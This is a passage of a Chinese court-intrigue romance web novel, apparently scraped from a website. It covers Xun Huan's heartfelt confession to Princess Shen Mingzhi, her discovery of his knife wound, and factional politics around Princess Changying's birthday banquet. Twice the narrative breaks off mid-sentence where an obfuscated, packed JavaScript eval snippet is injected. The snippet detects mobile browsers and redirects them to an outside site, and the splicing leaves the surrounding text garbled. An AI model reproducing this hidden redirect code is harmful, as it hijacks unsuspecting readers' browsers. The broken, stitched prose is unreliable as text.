郇寰拂去他的手,“我在零州敲打他们,结果他们托人跑到你面前说情……”他冷笑两声,却让他自己听出了十二分远胜于此的悲凉,“我的赵王殿下,他们已经是一个庞然大物了!他们明白孰善孰恶,但他们不认为作恶是错、行善是对,他们善恶颠倒是非不分!如若如此也尚可忍耐……” 他已经不忍再说下去。 如若如此尚可忍耐。 即便最后登顶御极,这样宛若罗刹海市的天地要之何用,这样寸步难行宛若傀儡的皇位争之何用!他郇寰自甘唾弃走上这一条你死我活的路,究竟有何用!他每为了利益做错一件事情、再枯坐在刑部处理千千万万件案子以求弥补公正时的愧疚呢!他的志、他的道、他存的万民之心呢!他们都喂了这样的庞然大物、喂了狗么! 赵王的袖子已经皱得不能看,他自己的心也不能再看,他甚至连自己的回答也不能看:“二郎,我……” 他垂着脸,也看不见八百年没流过眼泪的郇寰,他眼角那一滴正纠结着的、半流又停的泪。 赵王从没有亲自见过民间疾苦,百姓生死、道义人心都只是枯燥的几行字、几个数字、几本著作、几场与诸王拼得你死我活的斗争。他世家出身,但也为了少年志混沌走过一遭科举,在岭南差点告别生死人情与地底阎罗相见,出公差公务五湖四海地跑,算是亲历亲见过了。 他八百年没质疑过自己的选择,究竟是对是错。现在发现,他其实也不过是五十步笑百步,他郇寰就是那样的人,扶持赵王也不过是实现最终目的的手段,规矩法度更是随时可弃。他手上也沾了这么多血,就因为他一句“并非我意、此非本心”就能洗刷么?就能堂而皇之来指责别人么? 郇寰放下了杯子,骤然起身,推开被关好的大门裹挟着屋中炉火的温暖直抵这二月初的恶意。他仍然不忘与一路上的每个人或轻或重地见礼,待出了这日渐巍峨的赵王府,天彻底地黑了。 他回来得并不早,先去了宫中述职,然后就火急火燎地冲到了赵王府。刚一进城时就让人回家去禀,说是要吃家中二月头一顿晚饭。他对自己处理事情向来有自信,但一念及这场恶仗,他又失了信心,又让人带了句话:赶不上就不必等了。 若是以往他与沈明枳最亲近时,他不必带这句话的,过了时辰她不会等的,该吃就吃该睡就睡;现在他不确定了。为了所谓礼仪,沈明枳的确又是个能将一顿晚饭拖到半夜只为了全这一番礼节的人。她不会为难七郎、八娘与她一起受罪,可她的身体又怎么受得了。 郇寰不知,思及沈明枳,他已经常常叹气而不自知。 为着那一刀的缘故,他今日往来都坐的马车,这也方便了他藏入这逐渐浓稠的黑暗,整理仪容,戴上面具,恢复镇定。但梵铃声响,街宇浩荡,他一个人在无声的颠簸中,逐渐发狂。 往常只觉漫长的路程此刻尤嫌太短。所幸他想明白了。 郇七郎和郇八娘刚刚各自回屋,郇寰才踩着初春未化干净的雪,回到兖国公主府。公主府的门房不由诧异:寻常驸马回府走的都是郇府原来的大门,从未有一次出入此门。 为他赶车的冬至也以为自己听错了。 但这硕大的牌匾就在眼前,郇寰整肃了波折一天的官服,下了车,直奔内堂。 115. 第一百一十五章 剖心迹 沈明枳发善心给他留的菜还热在灶上刚好端来,婢女端来热水供他净手,又有人将刚刚暗下去的炉火拨弄得更加旺盛,只是人来人往、人人忙碌间,独独不见本应该端坐此处调停万事的沈明枳。 “殿下呢?” 夏至回禀:“殿下去八姑娘房里了,即刻便来。” 郇寰摆手,拾起筷子开始吃饭,“不必劳动她。” 等他沐浴整理过后,看过了郇七郎与郇八娘,才重新回到沈明枳的院子。他立在窗下很久,望着屋内那盏橘黄色的灯,将屋内声息捉弄得影影绰绰,安宁美好得不似尘世所有。 他脑海中突兀地冒出“风雪夜归人”这五个字来。但回首中庭月下,空栖寒枝,难储霜雪,悄然无风,加上他这个静夜来客,五个字只能占上最后“夜归人”三者。如果不曾零州山远水远地走一遭,他今日甚至配不上“归人”这书尽相思道尽情的字眼。 郇寰无奈地对着虚空摇头,扣了扣门板,推门陷入了暗夜温柔。 月珰正在给沈明枳梳头,见他来了行了礼就将梳子和照看沈明枳的责任一并交到他的手中。沈明枳端坐在妆台前,将瞌睡意收起,抬眼看正立于原地一动不动的郇寰。 郇寰不是没有见过她这副模样,只是她偏过头微抬眉眼的霎那,他陡然忆起早年在岭南山间见过的罅缝深流、无音静水,常言赞扬美妇娴静美好的源头当在于此。他笑笑,走过来抚上她的头发,“今天回来的还是晚了,没赶上晚饭。” 沈明枳回目看向镜中,轻轻应了一声。郇寰身量很高,劳动皇权富贵面前尚不折腰的他弯腰弓背给她梳头,沈明枳过意不去,伸手拖过一把木墩示意他坐下说话。 郇寰坐了为她梳头,所言不过家常琐事,丝毫不曾触及萍洲县的一夜相遇。沈明枳莫名觉出自己心里的一分愧来,他是在等,等自己愿意了,然后开口。 “法道寺那里……怎么样了?” 郇寰眼光一闪,手上动作仍旧轻柔不停,稳着心神,将这件已然成为他的忌讳的事情讲成简单的夫妻闲话。 他刻意舍弃自己无时无刻去关注别人情态的习惯,不从镜中去细究沈明枳的反应,只因为沈明枳愿意解释原因,他也在回家的路上想明白了一件事情——为了那些人猜忌疏远他的沈明枳,不值当。 即便这个妻也是为了他们的利益娶的。 但这是“他”的妻,他曾向亡母发誓一定会爱护珍惜的妻。 他年少时从未想过一向和睦的父母会否有过龃龉。 在母亲临终前,她只剩下一口气时还伤心地望向自己,那个眼神他永远也忘不了。 而那时,他的父亲还在祖母房中伺候汤药,赶回来的时候母亲已经失去了温度。 后来去了萧家,他才从外祖母口中得知了母亲未嫁前的两三往事。萧家的门楣,是萧家男儿撑起来的,顶立门楣的柱子里也有女儿的筋骨。母亲有她的的女儿心事、有她的初恋,但她还是心甘情愿地嫁到了郇家,为之操持,为之生养,为之献上一辈子的自由与幻想。 她是一个尽职的母亲、妻子、宗妇,她对自己的教导几乎不曾有过半分偏差,独独在娶妇这一事上,她刻意问过自己、引导过自己。 郇寰还记得他当年是这么答的:“我会敬她、爱她,与之携手,共济宗族。” 显然她并不满意。 后来有回他被押着陪母亲去慈悲寺上香,母亲一时失神对他道:“你父亲书房后另辟了一间佛堂……” 待他再问,母亲却不说话了。等了很久,等到他终于耐不住性子要去欢脱时,母亲揪住了他,又问他将来娶妇之事。 他的回答与从前一般无二。 母亲不满意,押着他对着佛像发誓。 他问:发什么誓? 母亲也不知道要他发什么誓,只是一面叹气,一面松了制箍,一个人自言自语:“哪怕不喜欢,对她也仁慈点……” 仁慈。 这个本就充满了不对等的字眼,是他这辈子最厌恶的字眼。 郇寰给沈明枳梳头,下手再轻,都嫌重。忽闻一股冲人的苦味袭来,月珰端上了药便又匆匆退下,郇寰手一滞收了梳子,起身走到妆台前,就见沈明枳利落的端碗饮尽,面不改色。 他突然上手握住了她的左手手腕,另一手撩起袍脚就此蹲了下来,“鹇儿?” 沈明枳不必抬眼也能看见他的神色微变,心头又一抽痛,用右手轻轻掰开他的手,稳住声音淡淡道:“我去见过余回春余圣手,他推荐了江西道轲州的一位女神医,此事——不能张扬……” 郇寰如遭雷击,反手扣住她略显冰凉的双手,“殿下!” 岂料沈明枳决心要摆脱他的掌握,抽手的这一举动无疑又是要划清界限的前奏,他攥得更紧,但怕弄疼她,进退维谷,只能任凭她一点点地远离、声音也越发低哑:“他们说,怕是不成,我打算——” “沈明枳!” 沈明枳倏然抬眼与他对视,但连两息都支撑不住,在他已然有怒、有痛、有不忍、有不可置信的注视下移下目光,发现他竟然已经单膝跪在了二月里如冰如石的地板上,又一扫他一身寻常便服,心底勃然升腾起的一把对他、对自己的怒火平白又消了气焰。 是了,这是臣跪君,她受得起。 沈明枳又觉出三分荒唐可笑,扯了下嘴角,汇聚目光,平静地看向他。 这瞬息万变之间的纠葛尽数落入郇寰的眼里。他已经喊了沈明枳的名讳,绝对无法戛然而止。他方才已经想好了一箩筐的能滴下蜜的话,现在真到了要说的时候,郇寰觉得还不如剖开了心直现心迹的好。 崔嫣的话尤在耳畔,那个以真心换真心、心赤如血的沈明枳业已立在了他心底,他如何能像刚成婚一样,用这些精心雕琢过却未曾动过心的假话糊弄她。他已经这样装作真心深情多年,面具戴上了常常让他误以为自己真的就是这样一个爱护发妻的人。但假终归是假,她这么聪明如何看不出来,这何尝不是另一种残忍。 给了希望,又将希望击碎。 当他舍下她,站到赵王派身后,她应该已经恨透他了。所以他不奢求她的真心了,失去的挽不回,他认;他只希望,从不向任何人低头的、他的公主,不要这样伤心了。 他升起手捧住沈明枳的脸,吻一吻她不再扬起的唇角,似乎这样就能替她分担这无尽落寞之中的苦味,“我不需要孩子,侯府已经有郇翾了,他与郇旒又很亲近你……等我们老了,如果不想住在这里,我们可以出京,去过我们自己的日子——” 我们自己的日子。 我们。 沈明枳已经失去了呼吸,铺天盖地的都是郇寰的气息,他的憧憬与渴望,直如当时她发现他亲笔绘就的辋川别业时一样令她震动,让她一整颗心都为之停留。 郇寰也被自己话中的美好甜到了,完全不知自己已经璨璨地笑了起来,那一双永远写满了决心与把握的眼里闪着沈明枳从未见过的光亮。 曾有类似的光亮照彻过童年时代永远走不完的宫墙路,让她每个担惊受怕寄人篱下的日子都得到温暖,让她明白善恶是非晷尺度量,让她发现自己被珍视、被疼爱、被思念,不是一个人。 最本源纯真的善就是这样光亮的滋养,大姐姐的死带走了滋养带不走光亮,太子长兄的死却让她恍若天地倒悬日月熄灭。除了戒子的存在逼着她走下去,她已然不再相信她的世界里,还会有人投来这样一束光。 这算什么? 这算什么! 千帆过尽皆不是,回首故人正愀然。 “上次我不是说要带你去个地方吗——”郇寰蹭了蹭她的鼻子,长着老茧略显粗糙的指腹抹过眼周时,沈明枳恍然发现自己流了不争气的眼泪。 “我在苏州府买的一处屋子,有一年我下江南公干时遇见的,一老头要卖,我又攒了些银钱,瞧着好就买了,一直封着没让人进……三进院落,嗯,和现在的比小是小了点,但胜在精致,到时候你看那里不喜欢就改一改,全拆了再建也行……边上有一大片湖泽山林,无聊时我们可以去放马、划船,养些花花草草的——” 如此美好的未来图景。 “至于男欢女爱的,你若愿意就做,不愿意就罢,都随你。” 郇寰笑着又亲了亲她颤抖的嘴唇,并无丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367675|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情欲。 沈明枳不愿看他,且她眼中蓄着眼泪,看不清本就云遮雾绕的眼底究竟有没有泛起波澜,于是他只能用自己能想到了最原本最真诚的方式,去安抚乍然窥见他内心突觉惶恐的人,希望这无法平息的欢愉和激动,能分享给她、感染到她,让她也能从逐渐消散的苦味中尝出两人心心相印时的甜来。 但沈明枳哪是郇寰想象中那客经他乡乍见梦中迷境的来人,几分惶恐岂是过分欢喜后的担忧带来的。 她有秘密,坦白后会让人追悔莫及的秘密。经年累月地,她已经不善与人交心,不能将自己心、如同郇寰现在这般,坦然地奉上。但她有这个天资,郇寰又再诱导她,让她重新习得为人最珍贵的美德。捧着这颗心的手已经颤抖,就像即便有由她一手造就的崔选侍和朱先生的悲剧在警告她,过去十几年里她仍然记不住教训要频频向人施恩行善那样,要将这颗已经快流干血的心,等价交到郇寰手中。 但这真的等价么? 临川那样待她,她尚且免不了狠心利用,而郇寰,被她视作盟友、细作、对手多年的人,她如何能摆脱得了这样的惯性去与之相印。 这是她此生都受不起的恩爱、此生都直视不了的光辉。 “鹇儿……” 沈明枳甚至不敢告诉他,她讨厌这个小名,在大姐姐、太子长兄、皇后娘娘相继离去后更加讨厌它,一如同厌恶自己的无能无知,仍由薄情的苍天在她最脆弱的时候一个个带走她此生最在乎的人。若他们都在,她愿意像大姐姐一样不饰羽翼,折去本来就不属于她的脊梁,抛弃不该有过的鸷鸟云鹤梦,做一只笼中雀、园中鹇,困于咫尺不知天高地迥、宇宙无穷。那时若有似郇寰这般剖白心迹之人,她必欣然相往、生死相随,成为齐珏陷阱中的大姐姐也未尝不可。 但是郇寰啊。 沈明枳合上眼,在他那掌过生死、批过罪罚的手心静静淌泪。 她已经决定走上这条不归路,就不能回头。 郇寰的嘴唇贴上她的耳廓,冰凉与温热在交汇的刹那让两个人都有了游蛇走心的酥麻感。她听见郇寰的一呼一吸都在自己心里呼啸,忽然,在郇寰开口说完简单却缠绵的六个字后,她骤然听见什么东西破碎的声音震耳欲聋,“我们要共白首。” 所碎不过尘心一颗,举杯尽与明月白首。 郇寰又啄了啄沾着泪的唇角,替她整理头发,拭去泪痕,手指摩梭着脸颊,“你先休息,我先去处理些事情……” “好。” 沈明枳睡不着。一闭眼尽是当年欢乐,一睁眼全是眼前寂寥。她不是个喜欢热闹的人,可但凡见过曾经图景,任谁也不能甘愿熬清守淡孤度如今。现在忽然又有人要在这本已经平淡沉寂下去的日子中搅弄波澜。 她起身披衣,轻手轻脚地推门走出温暖的屋内。 九转十回的长廊静静无声,偶尔几盏守夜的风灯正吐着长长的火舌,在空无一人的深夜中打上懒懒的哈欠。 沈明枳一直走到内院将出、后园将入的廊口,见那太湖石在朔月石灯下顾影自怜,枯枝败柳尽是它的攒绒长裙,七分浑然天成的精致灵巧在这相宜相配的黑夜、疏枝的点缀中,生出了剩下三分造作不得、矫揉不出的冷艳妩媚之气,直让人想起十七天后又长一岁的少女长英。 沈明枳没有为之过多的停留,但一声轻呼却让她打消夜游花园的念头,分辨声音的来向后,蹑手蹑脚地凑了过去。 “你你你受伤了?” 沈明枳一听就知是冬儿,那与之私会的另一人必然只能是冬至。 果不其然,冬至安抚她:“小伤小伤,这点小伤对我来说算不得什么,就是主子不太好。” 冬儿赶忙追问:“驸马也受伤了?” “你别对旁人说,尤其是公主,主子怕公主担心谁也没有告诉……” “快说!很严重吗?” “倒也算不上很严重……上回主子从江西回京被歹人伤了一刀,唉,这次又被捅到老地方了……” 冬儿倒吸一口凉气,沈明枳也心中一惊。 “怎么会这样?” “唉,断人财路招致报复。” 116. 第一百一十六章 受伤了 沈明枳抿唇。此次郇寰去湖广办的这件案子她不了解,但法道寺一案的的确确能对得上冬至所说的这八个字,可她不觉得零州上下会有不长眼的因为郇寰端了法道寺而出手报复,如若郇寰真有个好歹,这势必会成为惊动朝野的大案,即便他们有本事将事情伪装成意外,赵王也绝对不会善罢甘休。 再加上,零州还有个不为人知、归属未知的毒窝,这样的腌臜是绝对见不得一丝丝火星子,零州上下官员天天烧高香希望朝廷来使快快北上,谁会壮着胆子在军火库外面放爆竹。非穷途末路者不行此诡道,而法道寺一案中牵涉的嫌疑人,唯那群肥头大耳的酒肉和尚可能做下此事。 但沈明枳不认为那群和尚会有这样的胆量。她回身退到廊下,思忖着自己是不是应该再去查一查郇寰在湖广道办的案子,冷不妨听见身后不远处郇寰的声音传来:“这么晚了,不回去休息吗?” 沈明枳头发都要竖起来了,倏然转身却发现黑暗中空空如也,一星亮光还是廊道尽头处郇寰手中提着的灯,当即加快脚步蹿回了房间,脱下外衣挂好、踢掉鞋子摆好、掖好背角躺好,万事皆好过后,只有冰凉的手脚一点也不好。 她不知道郇寰什么时候会进来,故而一直蜷缩着身子捂着手脚不敢动,只在静夜中听见自己擂鼓的心跳。这种没来由的紧迫感让她蓦然回忆起还在宫里的那些日子,忍不住在心里嘲笑起自己的无厘头的举动来。 这样等了很久,直到她有心情开始可怜起冬至冬儿这对鸳鸯时,郇寰进屋了,沈明枳立即闭上眼平复呼吸。她感觉到床铺自背后微微陷下去,过了一会儿,应当是郇寰觉得自己的身体已经和被窝一样暖了,才小心靠过来拢住了她。 这是一段难以拒绝的温柔。 沈明枳深吸一口气,出其不意地起身,凭着感觉压住他的肩膀,将他整个人都按平在床上。 她记得上回郇寰在右肋下腰间被杀手捅过一刀,具体在哪个位置她不清楚,后来也没有机会查看,想来冬至所说的老地方就是那里。故而此次她小心地支起身跨坐到他腿上,正要刻意往他伤处摸索时,郇寰迅即握住了她的手腕,用力起身反倒将沈明枳压到了身下。 郇寰笑着叹气:“还醒着?” 沈明枳不应。 郇寰将她的手摆到身侧,护着她后脑的手也悄悄挪开,将她头顶的枕头往下拖来垫好,感觉贴着自己身体的沈明枳一动不动,心知她别有他意,也不打算放肆,摩挲着她的脸颊轻轻俯脸亲了一口道:“今日初一,你身上应当不方便。” 这本是沈明枳想好的,万不得已时的脱身之法,谁料被郇寰拿出来当了他的挡箭牌,哭笑不得。等郇寰恋恋不舍地平躺回去,以为自己不会再有举动打算摊开来明说时,沈明枳出人意料地侧过身再度攀上了他。 郇寰心中又喜又悲,迅速逮住她的左手,也侧过身来,不意沈明枳腾起上身压住了他的右手手臂,右手绕上他的肩颈,似是要耳鬓厮磨的模样。郇寰一愣,下意识地搂上她的腰,握着她手的左手却让她溜出,又要去捉,一捉一躲,混乱间沈明枳也不知道自己戳中了他哪里的伤口,郇寰“嘶”地抽了一口凉气。 “怎么了?”沈明枳这样问,但动作上已经告诉了自己答案,利落地掀开被子坐了起来,探身伸手将垂下来的帷帐分扯到两边,露出一片清寒之中的屋内陈设。 郇寰已然全部明白,不由得轻笑了一声,十分无奈,又怕她着凉,一边伸手在渐渐消散的黑暗中抓着杯子给她拢上,一边坐起身来。 “你受伤了。” 灯下,郇寰解开中衣,露出已经被包扎好的受伤处。 沈明枳掀袍蹲下,执火细看,又见他半裸的上身还有一些几近愈合的小伤口,深深浅浅,覆盖在原本几乎淡得看不出旧疤痕上。他一个纯正的文臣,一时之间竟给沈明枳归自战场的武将之感。 是了,朝堂就是他的战场,刑部就是他守的疆土,只不过有这个荣耀得到他一句“提携玉龙为君死”的人,不是布衣黔首、黎黎庶元,而是宫禁森严、安居乐享的皇子。党争太胜,以至于让人忽略一个彻头彻尾的清白人,在这乌烟瘴气的风云搅弄中,所求所想的究竟是些什么。 沈明枳忽然想问他一句,究竟是什么东西让他这样心甘情愿地替赵王卖命? 他正式支持赵王的时间应当不早,爵位被族叔侵占、供给他生活的萧氏日薄西山、一无人脉二无富贵,至少要等到他科举中第才算有投名状,才算真正踏入波诡云谲的朝廷战场,这样算来这时他已经弱冠。 而此时的他,一不为家族拖累,二无官司在身,他与赵王的交情甚至比不过与申不极的亲近,他为何就在众多势均力敌的皇子中选了赵王,甚至有可能是在故太子仍然坐掌东宫的情况之下选择了赵王? 但很多错都是由交浅言深铸就的,他们已经近至肌肤相亲,但心却隔着山海,此刻绝对不是她问出此话的最好时机。 那何时才是最好时机?她要这么等下去么? 沈明枳甚至不知道发生了什么事,让一贯沉默的郇寰忽然向自己袒露心迹。她也不明白为何只是他的三言两语,自己就有了想孤注一掷策反他的冲动。她有太多不知道了,有很多事甚至没有机会去弄明白,有的是还在等一个甚至不知道它存不存在的机会去弄明白。 但此刻,面对这一副曾也为她遮过风、挡过刀的身体,沈明枳有一事是明白的—— 他身上的许多伤口,是为自己留下的。 郇寰顺着灯光勾勒出的轮廓,去欣赏沈明枳这藏于严肃面孔下的千万分之一的温柔,见她凝视着自己身上的疤,手是攥着袖子紧紧收在膝上的,向来善于伪装掩藏的她也露了陷,这不常见、最真实的忧怜陡然让他有了小人得逞的感觉。 他不是一个会怜惜自己身体的人,对那些伤疤也浑不在意,从未想过这些伤口能额外带来些什么,直到有一回,申不极逞能为救一位美貌小娘子被刀剑在背上划了一条大口子,他硬是等到美人离去才哭天喊地地叫起来,请了大夫看过后,大夫觉得他眉清目秀、身弱如鸡,以为他也是京中走阴柔路子的公子,随口叹息一声:“定要留疤了。” 当时申不极就哼哼唧唧:“留疤好啊,美人见了都能格外疼我几分,留疤好!” 申不极如愿以偿否郇寰不知,但他圆满了,如若这些疤能再到别的时候发挥作用,他会更加圆满。 郇寰覆上沈明枳冰凉的手,惊觉寒夜衣薄,她明日定会伤风,连忙出声:“好了,伤也验过了,休息吧。” 沈明枳被他拉着站起身,暂且将一团乱麻的思绪搁置,应声灭灯。一瞬黑暗中,她开口问道:“你的伤怎么回事?” 等她将灯放回原处,就立即被郇寰牵着走向床沿,前方他传来的声音如他的脚步动作一样轻柔:“法道寺的和尚行苟且时用了点迷香,是寺院名下的药堂做的,我断了他们的财路,他们没手艺又干不了别的营生,可不就来寻仇。” 沈明枳抿唇,开始胡思乱想起寻常人家的妻子,听见丈夫因着公事被人惦记上,此刻应当是又惊又怕,甚至会逼丈夫为了自保安宁撇了这桩公事另谋出路。但上上回郇寰被刺客谋杀差点泡在冰水里冻死、上回郇寰带着她从御花园出逃九死一生,她好似什么关心则乱的话也没说过,此时又要让她出景生情说出些什么实在是为难。 其实她产生这个念头,本就是咄咄怪事。 沈明枳不咸不淡地轻声道:“下回你注意。” 郇寰听了已经抑制不住笑了笑。 此情此景,加上沈明枳藏不住的局促,这已经是一个让他极其满意的回复了。 但这样的心情愉悦只持续了一晚,郇寰好不容易得来的三日休整还未好好计划,就被接踵而来的烂事、琐事搅扰得气血上涌,一直早出晚归疲惫到二月十八长英公主的生辰宴,他得了休沐,却只能眼睁睁送沈明枳出门,一个人回房憋屈地睡大觉。 前朝后宫也在这十几日里鸡飞狗跳,唯有二月里曲江杏园别有风致的杏花,袅娜宁静得超凡出世,丝毫没有为来往俗人的凡尘琐事惊扰。 沈明枳很喜欢这一脉别致,奈何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387954|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯常喜欢焚琴煮鹤的临川不愿给她安宁,“西南的女人可真厉害啊,把窦晴柔逼得什么似的,破釜沉舟的法子都要出了,结果闹了一圈,转而攀上吴王了。” 日前,吴王正式向圣上讨了旨意,要迎娶西南彩云康氏第十三女为吴王妃,圣上允了。 赵王派那些还没回过神的人,这下彻底清醒了。康家算得上西南氏族里的大族,比已经封侯的何家差一点,但也已经是不可小觑的实力富贵。康家嫁女,也代表了向来抱团的西南氏族的态度,赵王派算是赔了夫人又折兵,被人耍得团团转。 此事落下帷幕,窦晴柔和吴王那边都定了心,郇寰也得了清净,但沈明枳却不安起来。表面上看有因有果,是赵王派内部碍于赵王妃和窦家的威势,在犹疑不决中让西南氏族失去了耐心和信心,于是西南氏族就转投吴王阵营;实际上是由果及因,西南氏族早就和西南出身的吴王暗通款曲,一起合起伙来蒙骗捉弄赵王派,对赵王派并没有实际上的伤害,但着实让赵王派内部动荡猜忌,面子里子都丢尽。 但沈明枳总感觉事情远没有这么简单。吴王和赵王实力悬殊,对于现在的赵王来说,吴王的所作所为不过隔靴搔痒不及根本,两方势力也没有因此再有较大变化,吴王除了得一场高兴,整体上是得不偿失。激怒了赵王,就等于自取灭亡。 尤其是,赵王在此处败了一局后,再在第二处又跌了一个跟头,算是将吴王恨入骨。 临川自顾自道:“我方才在前头看见何家人了,窦晴柔真是大方,不愧是后院姬妾千万我独岿然不动的赵王正妃。” 窦晴柔大方?沈明枳笑而不语。胆大妄为的辛莘今天都没有来。 “不过长英这生辰宴办得也真气派,圣上也真补偿了她不少。” 沈明枳看临川酸得牙根痒,笑得更畅。 这第二处跟头,就在长英身上。圣上宠爱长英无有不应,但长英什么也不缺,除了柳曦既这个暂时得不到的金龟婿,剩下还没得到的就是与沈明枳当时一般无二的风光。于是长英这回要的礼物,就是入菁明书院听学。 这是有些出格的。菁明书院里都是男子,从来没有女子入学的先例,就连当年沈明枳,还是化了男装跟着宁晨铎做贼似的偷入听学。且那时沈明枳才几岁,相貌本就有几分英气,混在或幼或长的男子之中掀不起一点风浪;而长英已经长成了,已经是不可方物的大美人了,把她往那些血气方刚的男儿中一放朝夕相处…… 临川想想就兴奋,沈明枳想想就无语。 就算长英想到菁明书院里亲自挑夫婿,也不是这么人仰马翻鸡犬不宁的挑法。 所幸长英的最终目的也不是这个,在圣上表示为难时积极地后退一步。这一步就退到了听学之上。既然菁明书院去不了,那就宫里吧,哪里都不要紧,要紧的是得有一群同龄人来陪,氛围才是最要紧的。这也就解释了,从小到大,明明窦晴柔已经给她请了很多各式各样的老师,她依旧要听学的原因。 这倒不是难事,圣上爽快地答应,明令各大臣家有与长英公主同龄的未婚女儿,自愿送入宫中陪公主读书,随后延请在朝、退野的大儒才子前来讲学。 朝中虽有非议,但都被圣上压了下来,直到吴王在十五宫宴上“随口”一说:“太子哥哥在时,十妹妹当年都没有这样的风光出阁读书呢。” 第二天就有人被怂恿着当朝上书,说是按照祖宗家法,“出阁读书”是天家嫡子才有的殊荣,长英公主此举是恃宠而骄、嫡庶僭越、有悖朝纲。然后说什么的都有了,言辞最激烈的莫过于都察院的年轻刺儿头们,受了高人点拨后直连“赵王有意谋储”这样诛心之言都说了出来。 但众人不会认为背后的高人是曾经的东宫旧臣、而今的都察院的一把手柳曦既或者曾经的太子妃之弟、而今路见不平挺身而出的领头羊梅依径,毕竟吴王已经赤裸裸地在天下人面前撂下话了,赵王比不上故太子,也别想当新太子。 沈明枳也绝对不认为是柳曦既或者梅如故为故太子或者自己打抱不平,这分明是把她往火坑里推! 117. 第一百一十七章 生辰宴 不过吴王说的也是实话。即便东宫如日中天,故太子也没有明目张胆纵容过沈明枳僭越至此,沈明枳不过在大儒才子来东宫为太子讲课时跟着听上半天,有了疑惑就私底下去问,问不着就找梅如故,最多格外帮她请位老师。 吴王是有偷换概念,将公主读书的小事渲染成皇女出阁读书、新太子废立之大事,但扪心自问,赵王和长英真的没有这样试探的用意么? 反正事情彻底黄了,长英去宫里哭了两天,将责任全都揽到了自己身上,大事化小、小事化了,末了圣上还觉得小女儿过个生日不容易,反倒多多赔上了赏赐风光来安慰长英。赵王派算是有惊无险,但还是窥得了天意:圣上未必真的愿意立赵王为储。 这下本担心再被吴王离间的沈明枳,更加焦虑了。 现在还有吴王挡着,赵王一时半会儿不会怀疑到戒子头上,等吴王倒了,秦王老九又是个软骨头,绝对不会甘心替人受过,那时她的戒子就危险了。 临川兀自说得没劲,见沈明枳平白又唉声叹气,更加没劲,但眼珠子咕噜一转,立刻有了办法:“话说,柳大人这是真病假病?这么弱不禁风啊——” 果然,沈明枳回神淡淡道:“你管那么多作甚?” 十五那天,沈明枳的确委婉地提了下,既然长英这般勤学好问,那让都察院那些年轻未婚的有才士子们多出来指点指点。 圣上自然不会以为是冲着“有才”二字去的,以为长英看重了都察院哪个未婚的小年轻,点头应是:“是该如此,那朕明日就和柳卿打个招呼,让他别拘着手下的年轻人。” 长英一紧手帕,沈明枳倒不急:“父皇您这话说的,直让人以为柳大人是什么阎罗鬼面,御史们都不敢去的。” 圣上一哂,琢磨出了点女儿家弯弯绕绕的心思。但柳曦既,有才!未婚!怎么着也算不上年轻了啊! 他看向微红着脸的长英和仍笑望自己的兖国。且当时,他是打算将鹇儿许给柳曦既的,这丫头怎么反倒给长英做起媒? 算了,这个年纪就干到正二品左都御史的,柳曦既也算是极其年轻。 圣上一笑:“那朕就让柳卿一并去,这样总没有妨碍了。” 但好巧不好,第二天夜里柳曦既就发起了高烧,说是连日劳累,下衙时和对门的大理寺薛少卿、顺路的户部梅侍郎在宫门口多聊了几句,被晚风吹得身子受不住病倒了。 沈明枳也没想着关心柳曦既的病情,奈何梅如故自作多情地给她传信报平安,说什么柳曦既没什么大碍,只不过要卧床静养几日不必担心云云。最后,还忍不住吐槽上了自己,说自己多管什么闲事到圣上面前多嘴,柳曦既以前可是一个带病也要工作的人,现在硬生生被逼得在家里挺尸,暴殄天物不说,惹得他家老四天天不安生要往柳府跑,像什么话怎么像话! 临川捻着帕子,朝着四周比划,勾唇微笑:“你没看见长英那失魂落魄的样子么?这宴会办得再风光又怎样?她打扮得再花枝招展又怎样?宾客来得再多又怎样?还不是一场空么?” 沈明枳乜斜一眼:“她不高兴,你又高兴了?” 临川一把把她抱得更紧:“知我者,鹇儿是也!” 沈明枳轻笑一声,里面的蔑视意味很浓,但临川不在意,甚至觉得如果沈明枳不嘲讽她这没骨头的想法,那就不是她了,“唉,不过柳大人这身子真是……人高马大的,以前也没觉得他这么体弱多病……” 临川说着说着脚下一绊,差点整个人扑到沈明枳身上。她们没走大路,就着石子小径绕着一株株花树走,已经走到了人迹罕至的树丛深处。临川稳住身子,踢了踢脚下,滚出来一只鼓鼓囊囊的绯色荷包,那长长已经交缠打结的流苏穗子被枯丛勾住,上面还沾染了一些灰白色污渍。 临川又脚翻了翻那荷包,明明不脏却不想捡它,皱着鼻子向沈明枳要个主意。沈明枳蹲身端详片刻,向临川摊手:“帕子。” 临川不舍却不敢违逆,随后就见沈明枳用帕子裹着那荷包捡了起来,用指尖小心拨开枝桠,然后将流苏与荷包一起裹到了帕子里交给了远远跟着她们的月珰。她也和沈明枳一样八百年不带帕子,今天突发奇想带上了,也想装一会斯文来着,结果又奉献出去了。 临川正要就这这一只荷包奇思妙想时,忽而听见前方一阵骚动,有婢女打扮的人迎面小步跑来见了她们,便低着头走上来请安,言辞中有焦急色。她叫得出临川和沈明枳的封号,但临川与沈明枳都不认识她们,沈明枳颔首过后便叫住了她问:“出什么事了?” 那婢女回身再行礼:“回公主,我家夫人要回府了,但找了好几久,我家三小姐还没找到。” 临川看了一眼天色,午过不久,还算早。沈明枳宽慰道:“你们先不必过于焦心,杏园很大,姑娘家说不准躲哪儿了说悄悄话,慢慢来——贵府是?” 